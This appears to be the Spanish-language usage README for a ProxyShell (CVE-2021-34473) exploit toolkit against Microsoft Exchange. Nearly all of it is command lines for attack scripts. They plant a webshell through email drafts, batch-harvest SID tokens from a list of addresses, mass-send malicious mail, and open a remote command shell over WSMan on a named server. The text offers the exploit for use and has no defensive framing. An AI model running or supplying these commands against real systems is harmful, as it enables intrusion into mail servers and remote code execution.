CVE-2021-34473-Exchange-ProxyShell

• python send_webshell_mail.py https://mail16.echod.com [email protected] obtener uno solo

• python send_webshell_mail.py https://mail16.echod.com crack leer en lote los correos de mail.txt e intentar obtener el token SID

• python send_webshell_mail.py https://mail16.echod.com [email protected] send (solo enviar el correo borrador del webshell)

• python send_webshell_mail.py https://mail16.echod.com crack send enviar correos maliciosos en lote （no se recomienda hacerlo）

• python wsman_shell.py https://mail.echod.com [email protected] [reemplaza aquí el token obtenido] aquí solo se entra al cmdlet para ejecutar comandos

  Después de enviar el correo, se puede usar directamente este comando para intentar hacer getshell; el Path específico se puede ajustar en la ruta del script

• python wsman_shell.py https://mail.echod.com [email protected] [reemplaza aquí el token obtenido] shell

Prueba de envío de correo

Prueba de shell Respuesta eeeee

Crypt_webshell